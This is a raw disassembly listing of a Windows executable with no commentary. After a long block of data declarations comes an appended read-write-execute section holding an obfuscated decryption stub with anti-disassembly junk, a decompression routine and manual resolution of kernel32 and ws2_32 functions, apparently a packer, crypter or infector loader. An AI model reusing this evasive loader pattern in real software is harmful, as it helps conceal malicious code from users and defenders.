dword_469254	dd 81h dup(0)	byte_469458	db 0			; DATA XREF: sub_414E8E+6Ar
					; sub_414E8E+98w
		align 4
		dd 2 dup(0)
dword_469464	dd 0		dword_469468	dd 0							; seg000:00416B78w
		align 10h
word_469470	dw 0			; DATA XREF: seg000:00416B29r
					; seg000:00416B6Eo
word_469472	dw 0			; DATA XREF: seg000:00416B1Cr
		db 2 dup(0)
word_469476	dw 0			; DATA XREF: seg000:00416B0Fr
word_469478	dw 0			; DATA XREF: seg000:00416B02r
		align 10h
dword_469480	dd 0							; sub_416C98+91w
dword_469484	dd 0							; sub_416E3E:loc_416EBAw ...
dword_469488	dd 0							; sub_4185CB:loc_418665w ...
dword_46948C	dd 0		dword_469490	dd 0		dword_469494	dd 0		dword_469498	dd 0		dword_46949C	dd 0		dword_4694A0	dd 0		dword_4694A4	dd 0				dd 0
dword_4694AC	dd 0							; sub_41F409+9r ...
dword_4694B0	dd 0		dword_4694B4	dd 0							; sub_41F7D7+4r ...
		dd 0
dword_4694BC	dd 0				dd 0
byte_4694C4	db 0			; DATA XREF: sub_417849+2Dw
					; sub_41D17B+5r
		align 4
dword_4694C8	dd 0		dword_4694CC	dd 0							; sub_417849+8Bw
dword_4694D0	dd 0							; sub_41C81A:loc_41C82Cr ...
		align 8
dword_4694D8	dd 0		dword_4694DC	dd 0				dd 0
dword_4694E4	dd 0							; sub_4174DF:loc_4175DBr ...
dword_4694E8	dd 0		dword_4694EC	dd 0							; sub_41A11A+1Ar ...
byte_4694F0	db 0			; DATA XREF: sub_41A016+3r
					; sub_41A016+98r ...
		align 4
dword_4694F4	dd 0							; sub_41A1F8+21w ...
byte_4694F8	db 0			; DATA XREF: sub_41A1F8+51w
		align 4
dword_4694FC	dd 0							; sub_41A7C9+3Ar ...
dword_469500	dd 0							; sub_41A7C9+43r ...
dword_469504	dd 0							; sub_41A595+5r
dword_469508	dd 0		dword_46950C	dd 0							; seg000:0041BDBDw ...
		dd 2 dup(0)
dword_469518	dd 0							; sub_417193+9Dr ...
		dd 3 dup(0)
dword_469528	dd 0							; sub_4179F9+BFr ...
		align 10h
dword_469530	dd 0							; seg000:0041C15Dw ...
dword_469534	dd 0							; sub_41C63E+46w ...
dword_469538	dd 41h dup(0)	dword_46963C	dd 0							; sub_41CB20+23w ...
dword_469640	dd 0		dword_469644	dd 0							; sub_418880+154w ...
dword_469648	dd 0							; seg000:loc_41D261w
dword_46964C	dd 0		word_469650	dw 0			; DATA XREF: sub_41DDDF+1Ao
					; sub_41DDDF+46r
byte_469652	db 0			; DATA XREF: sub_41DDDF+39r
		align 4
dword_469654	dd 7 dup(0)	dword_469670	dd 0							; sub_41DDDF+5Co
dword_469674	dd 0		dword_469678	dd 0		dword_46967C	dd 0		dword_469680	dd 0							; sub_41DF02+38r ...
		align 8
dword_469688	dd 0							; sub_41E162+63w ...
		align 10h
dword_469690	dd 0							; sub_41E162+46r
dword_469694	dd 10h dup(0)	word_4696D4	dw 0			; DATA XREF: sub_41E3C0+A8r
word_4696D6	dw 0			; DATA XREF: sub_41E162+54r
					; sub_41E3C0+DBr ...
word_4696D8	dw 0			; DATA XREF: sub_41E3C0+CAr
word_4696DA	dw 0			; DATA XREF: sub_41E3C0+D3r
					; sub_41E3C0:loc_41E4B2r
word_4696DC	dw 0			; DATA XREF: sub_41E3C0+C0r
word_4696DE	dw 0			; DATA XREF: sub_41E3C0+B8r
word_4696E0	dw 0			; DATA XREF: sub_41E3C0+B0r
word_4696E2	dw 0			; DATA XREF: sub_41E3C0+9Er
dword_4696E4	dd 0		dword_4696E8	dd 10h dup(0)	word_469728	dw 0			; DATA XREF: sub_41E3C0+46r
word_46972A	dw 0			; DATA XREF: sub_41E162:loc_41E1D9r
					; sub_41E3C0+78r ...
word_46972C	dw 0			; DATA XREF: sub_41E3C0+67r
word_46972E	dw 0			; DATA XREF: sub_41E3C0+70r
					; sub_41E3C0:loc_41E444r
word_469730	dw 0			; DATA XREF: sub_41E3C0+5Dr
word_469732	dw 0			; DATA XREF: sub_41E3C0+55r
word_469734	dw 0			; DATA XREF: sub_41E3C0+4Dr
word_469736	dw 0			; DATA XREF: sub_41E3C0+3Er
dword_469738	dd 0		dword_46973C	dd 0							; sub_41E162:loc_41E2AEr ...
dword_469740	dd 0		dword_469744	dd 0							; sub_41E6EE+2Ew ...
dword_469748	dd 0							; sub_41E6EE:loc_41E73Dr
dword_46974C	dd 0							; sub_41E6EE+60r
dword_469750	dd 0		dword_469754	dd 0							; sub_41F297+6Do
dword_469758	dd 0							; sub_41F297+44o
dword_46975C	dd 0							; sub_41F297+37o
dword_469760	dd 0							; sub_41F297+51o
		align 8
dword_469768	dd 0							; seg000:0041F88Dw ...
byte_46976C	db 0			; DATA XREF: sub_404EE6r sub_404EE6+9w ...
		align 10h
dword_469770	dd 0							; sub_4189F0+14r ...
		align 10h
dword_469780	dd 400h	dup(0)						; seg002:00438460o
dword_46A780	dd 0							; sub_418749+56r ...
		dd 7 dup(0)
dword_46A7A0	dd 0							; sub_41B8B0+75r ...
		dd 3Fh dup(0)
dword_46A8A0	dd 0							; sub_41B989+Cr ...
dword_46A8A4	dd 0							; seg000:0041C025w ...
		align 10h
dword_46A8B0	dd 3 dup(0)						; seg000:0041C131o ...
dword_46A8BC	dd 0							; seg000:0041C11Dw ...
byte_46A8C0	db 0			; DATA XREF: seg000:loc_41C30Bw
					; seg000:loc_41C328w ...
		align 4
		dd 3Fh dup(0)
byte_46A9C0	db 0			; DATA XREF: seg000:0041C01Co
					; seg000:0041C06Fo ...
byte_46A9C1	db 0			; DATA XREF: sub_417348+5Dr
					; seg000:0041C060w ...
		align 4
		dd 40h dup(0)
dword_46AAC4	dd 0							; seg000:0041C0EBw ...
dword_46AAC8	dd 0							; sub_41915C+5r ...
dword_46AACC	dd 0							; sub_418B28+259r ...
dword_46AAD0	dd 0							; sub_418B28+310w ...
dword_46AAD4	dd 0							; sub_418B28+22Cr ...
dword_46AAD8	dd 0							; sub_418AFDr ...
dword_46AADC	dd 0							; sub_418AFD+8r ...
dword_46AAE0	dd 0							; sub_415E3D+21r ...
dword_46AAE4	dd 0							; seg000:0041C7D1r
dword_46AAE8	dd 0							; sub_41F409r
dword_46AAEC	dd 0							; sub_41C384+11w ...
dword_46AAF0	dd 0							; sub_4167D3:loc_416815r ...
dword_46AAF4	dd 0							; sub_4167D3+Cr ...
byte_46AAF8	db 0			; DATA XREF: sub_4200C4+15r
					; sub_4200C4+1Ew
		align 800h
seg002		ends

; Section 4. (virtual address 0006B000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 0006B000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 46B000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_46B00A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_46B00E
; ---------------------------------------------------------------------------


loc_46B00A:				; CODE XREF: .data:0046B002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_46B00E:				; CODE XREF: .data:0046B008j
		call	loc_46B014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_46B014:				; CODE XREF: .data:loc_46B00Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 6B000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_46B034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_46B065


loc_46B034:				; CODE XREF: .data:0046B026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_46B0CA
; ---------------------------------------------------------------------------
		dd 3D0000h, 30000h, 7C809AE4h, 3FE000h,	7C801D77h, 7C80B6A1h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_46B065:				; CODE XREF: .data:0046B032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_46B090
		jmp	short loc_46B077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_46B077:				; CODE XREF: .data:0046B074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_46B0B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_46B0B4


loc_46B090:				; CODE XREF: .data:0046B072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_46B0A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_46B0A0:				; CODE XREF: .data:0046B097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_46B0B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_46B0B4:				; CODE XREF: .data:0046B07Dj
					; .data:0046B08Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_46B0C0
		push	1
		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_46B0C0:				; CODE XREF: .data:0046B0B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_46B0CA:				; CODE XREF: .data:0046B043j
		and	bx, 8625h
		call	near ptr loc_46B0DE+5
		stosd
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]


loc_46B0DE:				; CODE XREF: .data:0046B0CFp
		fstp	dword ptr [esi-746AB381h]
		fcomp	dword ptr [edx-75h]
		stc
		add	edx, 8DBh
		jnz	loc_46B0F7
		movsx	edi, si


loc_46B0F7:				; CODE XREF: .data:0046B0EEj
		mov	esi, 52500D8Bh
		sub	esi, 52500B8Ch
		push	0FAFF767h
		mov	bx, 8280h
		pop	ecx


loc_46B10C:				; CODE XREF: .data:0046B1A7j
		push	dword ptr [edx]
		movzx	ebx, bx
		pop	eax
		push	1C71BF44h
		push	edx
		jmp	loc_46B130
; ---------------------------------------------------------------------------
		db 4Fh,	0DCh, 0E5h
		dd 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh
; ---------------------------------------------------------------------------


loc_46B130:				; CODE XREF: .data:0046B118j
		pop	ecx
		pop	edi
		xor	eax, 0ED4C5B5h
		mov	edi, 2EE8A210h
		add	eax, 3D3844Ah
		sbb	bx, 0B4C5h
		sub	eax, 2E9A0FBBh
		add	ecx, 509B11E6h
		push	eax
		movzx	ecx, di
		pop	dword ptr [edx]
		mov	cx, bx
		sub	edx, 1
		adc	ebx, 2230E417h
		dec	edx
		dec	edx
		dec	edx
		jo	loc_46B175
		xor	edi, 4CF63F0Fh


loc_46B175:				; CODE XREF: .data:0046B169j
		sub	esi, 1
		jnz	loc_46B194
		sub	di, 107h
		jmp	loc_46B1B7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 59A0A3D2h, 15CCFF1Eh
; ---------------------------------------------------------------------------


loc_46B194:				; CODE XREF: .data:0046B17Bj
		push	eax
		jmp	loc_46B1A6
; ---------------------------------------------------------------------------
		dw 0CD64h
		dd 0C9D09382h, 85FCEFCEh
; ---------------------------------------------------------------------------
		fimul	dword ptr [ebx]


loc_46B1A6:				; CODE XREF: .data:0046B195j
		pop	ebx
		jmp	loc_46B10C
; ---------------------------------------------------------------------------
		dd 323D94E7h, 7E390083h
		db 0DFh, 2Ch, 0F5h
; ---------------------------------------------------------------------------


loc_46B1B7:				; CODE XREF: .data:0046B186j
					; .data:0046B21Dj
		mov	esi, 6C978D45h
		call	sub_46B1D0
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh

; =============== S U B	R O U T	I N E =======================================



sub_46B1D0	proc near		; CODE XREF: .data:0046B1BCp
		push	78BAD8D8h
		mov	edx, edi
		pop	esi
		pop	ecx
		add	ecx, 7ECh
		push	0
		add	si, 0BCB4h
		pop	edi
		mov	dl, 0F0h


loc_46B1EC:				; CODE XREF: sub_46B2B4+4j
		mov	ebx, [ecx+edi]
		jmp	loc_46B1FE
; ---------------------------------------------------------------------------
		dd 11389BAAh, 4DE47776h
; ---------------------------------------------------------------------------
		add	dl, [ebx]


loc_46B1FE:				; CODE XREF: sub_46B1D0+1Fj
		add	ebx, 249C65B6h
		push	eax
		call	sub_46B214
		pop	edx
		mov	ebp, [eax-7Fh]
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
sub_46B1D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_46B214	proc near		; CODE XREF: sub_46B1D0+35p
		jmp	sub_46B22C
sub_46B214	endp

; ---------------------------------------------------------------------------
		pop	edi
		lodsb
		jnz	short near ptr loc_46B223+4
		jnp	short loc_46B1B7
		icebp
		setalc
		push	edi
		inc	esp


loc_46B223:				; CODE XREF: .data:0046B21Bj
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st

; =============== S U B	R O U T	I N E =======================================



sub_46B22C	proc near		; CODE XREF: sub_46B214j

; FUNCTION CHUNK AT 0046B2C5 SIZE 0000000F BYTES

		pop	edx
		pop	eax
		xor	ebx, 1E58F2B7h
		push	6AA26147h
		push	esi
		mov	edx, 1A164E5Eh
		pop	edx
		pop	esi
		add	ebx, 365D4A24h
		push	edi
		xor	edx, 58007D0Dh
		pop	esi
		push	ebx
		jmp	loc_46B266
; ---------------------------------------------------------------------------
		db 0C5h, 1Ah, 4Bh
		dd 27E64128h, 0C3727DD4h, 1FBE7940h
		db 6Ch,	35h
; ---------------------------------------------------------------------------


loc_46B266:				; CODE XREF: sub_46B22C+24j
		pop	dword ptr [ecx+edi]
		push	esi
		movsx	esi, cx
		pop	edx
		mov	ax, 0EB0Fh
		sub	edi, 3
		and	eax, 39E3D746h
		dec	edi
		push	edi
		movzx	eax, dx
		pop	eax
		cmp	edi, 0FFFFF914h
		jnz	loc_46B2A4
		adc	esi, 50F69DF6h	; CODE XREF: sub_46B22C+84j
		jmp	loc_46B2C5
; ---------------------------------------------------------------------------
		dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh
; ---------------------------------------------------------------------------


loc_46B2A4:				; CODE XREF: sub_46B22C+5Bj
		call	sub_46B2B4
		out	94h, eax
		cmp	eax, 39008332h
		jle	short near ptr loc_46B28D+4
		sub	al, 0F5h
sub_46B22C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_46B2B4	proc near		; CODE XREF: sub_46B22C:loc_46B2A4p
		movzx	edx, di
		pop	eax
		jmp	loc_46B1EC
sub_46B2B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 30h,	0A9h, 2Eh
		dd 3A655CCFh
		db 0EBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B22C


loc_46B2C5:				; CODE XREF: sub_46B22C+67j
		mov	al, 68h
		call	sub_46B2D4
		lock imul ebp, esi, 0FA251C8Fh
		stosd
; END OF FUNCTION CHUNK	FOR sub_46B22C

; =============== S U B	R O U T	I N E =======================================



sub_46B2D4	proc near		; CODE XREF: sub_46B22C+9Bp
		mov	ebx, eax
		pop	edi
		push	7315B252h
		pop	ecx
		add	edi, 6E3h
		sub	ebx, 21FF2477h
		xor	edx, edx
		push	28379113h
		mov	ecx, 23802B6Fh
		pop	ecx


loc_46B2F6:				; CODE XREF: sub_46B37A+36j
		push	dword ptr [edx+edi]
		push	ecx
		movsx	eax, cx
		pop	ecx
		pop	esi
		push	5DF8CE5Fh
		jnz	loc_46B30F
		mov	ebx, 7E1D37D6h


loc_46B30F:				; CODE XREF: sub_46B2D4+30j
		pop	ebx
		add	esi, 1C5E2C3Eh
		jmp	loc_46B32E
; ---------------------------------------------------------------------------
		db 4Fh
		dd 6BBAE5DCh, 478661C8h, 0E3129D74h, 3F5E99E0h
; ---------------------------------------------------------------------------
		or	al, 55h


loc_46B32E:				; CODE XREF: sub_46B2D4+42j
		add	esi, 3B87EA9Fh
		mov	eax, 47EE6AD1h
		xor	esi, 185587ECh
		mov	ecx, 331DE30Dh
		mov	[edi+edx], esi
		jnb	loc_46B353
		adc	ecx, 5DEF81Ah


loc_46B353:				; CODE XREF: sub_46B2D4+73j
		sub	ebx, 5B9ACCC3h
		sub	edx, 5EED6079h
		jns	loc_46B37E
		call	sub_46B37A
		pop	eax
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_46B3A5
sub_46B2D4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_46B37A	proc near		; CODE XREF: sub_46B2D4+91p
		movzx	ebx, bx
		pop	eax


loc_46B37E:				; CODE XREF: sub_46B2D4+8Bj
		add	edx, 5EED6075h
		mov	ch, 0D0h
		cmp	edx, 0FFFFFA14h	; CODE XREF: sub_46B37A+2Dj
		jnz	loc_46B3AD
		mov	bl, al
		jmp	loc_46B3C7
; ---------------------------------------------------------------------------
		db 0FCh, 85h, 0DAh
		dd 0A601E80Bh, 323D94E7h
		db 83h
; ---------------------------------------------------------------------------


loc_46B3A5:				; CODE XREF: sub_46B2D4+A4j
		add	[ecx], bh
		jle	short near ptr loc_46B386+2
		sub	al, 0F5h
		mov	bh, bl


loc_46B3AD:				; CODE XREF: sub_46B37A+12j
		movzx	ecx, dx
		jmp	loc_46B2F6
; ---------------------------------------------------------------------------
		db 0E2h, 73h, 30h
		dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h
		db 1Dh,	92h, 63h
; ---------------------------------------------------------------------------


loc_46B3C7:				; CODE XREF: sub_46B37A+1Aj
		mov	edx, ecx
		call	sub_46B3D3
		cmp	[esi-21h], edi
		sub	al, 0F5h
sub_46B37A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_46B3D3	proc near		; CODE XREF: sub_46B37A+4Fp
		mov	dl, ch
		pop	esi
		push	7A6758ADh
		push	63ADE630h
		mov	edi, edx
		pop	eax
		pop	edx
		add	esi, 5E0h
		call	near ptr loc_46B3F4+4
		sbb	eax, 19606392h


loc_46B3F4:				; CODE XREF: sub_46B3D3+17p
		fidivr	word ptr [edi+0DE9D58Ch]
sub_46B3D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0
		dd 0B7B65100h, 53428D24h, 0AF8E8990h, 685F45BCh, 14Ah
		dd 0AB5C54BFh, 8F0F596Ah, 5, 0F233BBB8h, 661E8B32h, 818284BAh
		dd 0EA4B85EBh, 8E91Ah, 69F00000h, 251C8FEEh, 0C381ABFAh
		dd 6A2DDDAh, 81C7B70Fh,	8D120BF3h, 0F9BF0F63h, 81661E89h
		dd 833711F2h, 0F08A03EEh, 1E9814Eh, 0F000000h, 0F85h, 0FBB70F00h
		dd 1DE9h, 0B9800300h, 75AC5FFEh, 0F4C1D6BAh, 0FFA3E936h
		dd 2D44FFFFh, 29B0F362h, 0E5DC4FAEh, 0E86BBAh, 5D000000h
		dd 5B5D895Bh, 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h
		dd 85895975h, 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h
		dd 2E4h, 648B1CEBh, 67640824h, 68Fh, 6104C483h,	5063458Dh
		dd 0E85F55FFh, 2DEh, 676409EBh,	68Fh, 0EB24C483h, 0B048001Bh
		dd 0B6A10046h, 656B7C80h, 6C656E72h, 642E3233h,	0E8006C6Ch
		dd 29Ch, 8CB58DFCh, 0AD000000h,	1B74C00Bh, 0CB9F88Bh, 0F3000000h
		dd 10EBA4h, 28004010h, 19B2BB43h, 380A211h, 895A9F8Fh
		dd 429A5h, 68406A00h, 1000h, 408B5FFh, 6A0000h,	3F095FFh
		dd 85890000h, 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h
		dd 6A000001h, 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h
		dd 4318589h, 85890000h,	1D0h, 0A16764h,	2D858900h, 8B000004h
		dd 858B5B55h, 1D0h, 858B0289h, 408h, 8D044289h,	39F85h
		dd 55408B00h, 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h
		dd 0CC958B14h, 0BB000001h, 1F8h, 0C1A7C8Bh, 1E74FF0Bh
		dd 101A4C8Bh, 1174C90Bh, 1D0BD03h, 748B0000h, 0F203141Ah
		dd 0F302F9C1h, 28C383A5h, 858BDAEBh, 1CCh, 0D0958B50h
		dd 52000001h, 0DA03188Bh, 3E4858Bh, 3890000h, 3E8858Bh
		dd 43890000h, 0EC858B04h, 89000003h, 5E5F0843h,	304468Bh
		dd 0C78589C7h, 8B000001h, 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh
		dd 6A5300h, 16A006Ah, 85E8B57h,	6853DF03h, 8000h, 0FF56006Ah
		dd 3F495h, 0E0006800h, 0C3003Fh, 3A00h
		db 0, 3Dh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_46B671:				; CODE XREF: .data:loc_46B680j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_46B677:				; CODE XREF: .data:0046B6D5j
					; .data:0046B71Aj ...
		add	dl, dl
		jnz	short loc_46B680
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B680:				; CODE XREF: .data:0046B679j
		jnb	short loc_46B671
		add	dl, dl
		jnz	short loc_46B68B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B68B:				; CODE XREF: .data:0046B684j
		jnb	short loc_46B6D7
		xor	eax, eax
		add	dl, dl
		jnz	short loc_46B698
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B698:				; CODE XREF: .data:0046B691j
		jnb	loc_46B774
		add	dl, dl
		jnz	short loc_46B6A7
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6A7:				; CODE XREF: .data:0046B6A0j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6B2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6B2:				; CODE XREF: .data:0046B6ABj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6BD
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6BD:				; CODE XREF: .data:0046B6B6j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6C8
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6C8:				; CODE XREF: .data:0046B6C1j
		adc	eax, eax
		jz	short loc_46B6D2
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_46B6D2:				; CODE XREF: .data:0046B6CAj
		mov	[edi], al
		inc	edi
		jmp	short loc_46B677
; ---------------------------------------------------------------------------


loc_46B6D7:				; CODE XREF: .data:loc_46B68Bj
		mov	eax, 1


loc_46B6DC:				; CODE XREF: .data:loc_46B6F0j
		add	dl, dl
		jnz	short loc_46B6E5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6E5:				; CODE XREF: .data:0046B6DEj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6F0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6F0:				; CODE XREF: .data:0046B6E9j
		jb	short loc_46B6DC
		sub	eax, 2
		jnz	short loc_46B71F
		mov	ecx, 1


loc_46B6FC:				; CODE XREF: .data:loc_46B710j
		add	dl, dl
		jnz	short loc_46B705
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B705:				; CODE XREF: .data:0046B6FEj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B710
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B710:				; CODE XREF: .data:0046B709j
		jb	short loc_46B6FC
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_46B677
; ---------------------------------------------------------------------------


loc_46B71F:				; CODE XREF: .data:0046B6F5j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_46B72D:				; CODE XREF: .data:loc_46B741j
		add	dl, dl
		jnz	short loc_46B736
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B736:				; CODE XREF: .data:0046B72Fj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B741
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B741:				; CODE XREF: .data:0046B73Aj
		jb	short loc_46B72D
		cmp	eax, 7D00h
		jnb	short loc_46B764
		cmp	eax, 500h
		jb	short loc_46B75F
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B677
; ---------------------------------------------------------------------------


loc_46B75F:				; CODE XREF: .data:0046B74Fj
		cmp	eax, 7Fh
		ja	short loc_46B767


loc_46B764:				; CODE XREF: .data:0046B748j
		add	ecx, 2


loc_46B767:				; CODE XREF: .data:0046B762j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B677
; ---------------------------------------------------------------------------


loc_46B774:				; CODE XREF: .data:loc_46B698j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_46B790
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B677
; ---------------------------------------------------------------------------


loc_46B790:				; CODE XREF: .data:0046B77Cj
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h
		dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h
		dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h
		dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h
		dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h
		dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh
		dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h,	611C244Ch
		dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h
		dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h
		dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h
		dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah
		dd 7C8000h, 1C00017Ch, 0F20006BBh, 158h, 300h, 2 dup(400000h)
		dd 3 dup(0)
		dd 22108h, 0
		dd 12FFA4h, 12FFE0h, 3D0000h, 1000h, 1F400h, 0F28Dh, 21000h
		dd 1C00h, 150Bh, 23000h, 15C00h, 6DFFh,	3Dh dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 6BA10h, 6B9FCh, 3 dup(0)
		dd 6BAB4h, 6BAD9h, 3 dup(0)
		dd 6BABFh, 6BAE1h, 3 dup(0)
		db 0CCh
		db 0BAh, 6, 0
; ---------------------------------------------------------------------------
		jmp	loc_46C15B
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
